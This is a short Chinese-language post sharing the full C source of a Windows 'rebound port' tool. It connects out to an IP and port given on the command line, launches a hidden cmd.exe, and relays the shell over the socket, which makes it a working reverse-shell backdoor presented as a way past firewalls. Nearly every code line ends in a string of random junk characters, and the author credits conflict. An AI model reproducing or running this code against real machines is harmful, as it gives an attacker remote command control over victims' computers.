这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 9015PEO
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/* ============================== ^i8biOSZu
Rebound port in Windows NT bC"h7$3
By wind,2006/7 BMQ4i&kF|
===============================*/ 6Ad UlPM
#include t' J4zV
#include oiR9NB&<
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#pragma comment(lib,"wsock32.lib") b@=H$"
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void OutputShell(); M6quPj
SOCKET sClient; +:jv )4^O
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; <\uDtbK
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void main(int argc,char **argv) ar
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{ E}F-*go
WSADATA stWsaData; DWx;cP8[
int nRet; uVhzJu.
SOCKADDR_IN stSaiClient,stSaiServer; S76MY&Vx23
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if(argc != 3) "Xwsu8~
{ T*Ge67
printf("Useage:\n\rRebound DestIP DestPort\n"); ^x/D8M
return; 5]CaWFSmT
} )+Z.J]$O-
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WSAStartup(MAKEWORD(2,2),&stWsaData); :5&UWL|
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); !a\HdQ
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stSaiClient.sin_family = AF_INET; FqGMHM\J
stSaiClient.sin_port = htons(0); y=+OC1k\8
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); HE_UHv
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) l O*
{ FL^t}vA
printf("Bind Socket Failed!\n"); ~@QAa (P.
return; 6@47%%,}
} :yi} CM4
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stSaiServer.sin_family = AF_INET; z?VjlA(X
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); j"pyK@v2B
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); eTw9c }[
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) XhWo~zh"
{ lk81IhI
printf("Connect Error!"); \Nf[8n#{
return; r58<A'#
} 3 m-g-
OutputShell(); kz("LI]
} pXBh^
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void OutputShell() +R;LHRS%
{ *:un+k
char szBuff[1024]; (~5]1S}F
SECURITY_ATTRIBUTES stSecurityAttributes; /F|VYl^_
OSVERSIONINFO stOsversionInfo; 8cMX=P
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ?|}qT05
STARTUPINFO stStartupInfo; 7h41 E#
char *szShell; 9B83HV4J
PROCESS_INFORMATION stProcessInformation; (JjxrZ+L
unsigned long lBytesRead; #uC}IX2n
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); P\{s C6E
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ?8< =.,r
stSecurityAttributes.lpSecurityDescriptor = 0; I0x;rP
stSecurityAttributes.bInheritHandle = TRUE; ]:T:cO0_n
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); +;pw^QB
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); pzQc UG
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); saQo]6#
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &t_TLV 8T
stStartupInfo.wShowWindow = SW_HIDE; aCIz(3^
stStartupInfo.hStdInput = hReadPipe; dNqj | Vu
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; :ec>[N~KG
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GetVersionEx(&stOsversionInfo); K&gE4;>
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switch(stOsversionInfo.dwPlatformId) /P46k4M1U
{ i|/G!ht^e
case 1: /|h+,]<
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szShell = "command.com"; YD9vWk\/
break; u$ci{<
default: 'IVC!uL,%
szShell = "cmd.exe"; 0@EI@X;q
break; SJ;{ Hg
} _F4=+dT|
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ~d,$nZ"z
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send(sClient,szMsg,77,0); .A6pPRy e
while(1) 9a sA-'fZ
{ (sH4T>
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 9U3 }_
if(lBytesRead) E(1G!uu<
{ CQ Ei(ty
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 10r!p:D
send(sClient,szBuff,lBytesRead,0); **AkpV)
} yOXEP
else V,[[#a)y
{ i*&b@.7N
lBytesRead=recv(sClient,szBuff,1024,0); g_>E5z.
if(lBytesRead<=0) break; n? =O@yq
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); cf"!U+x
} ,Tx38
} ~-%z:Re'_
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return; IC$"\7
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}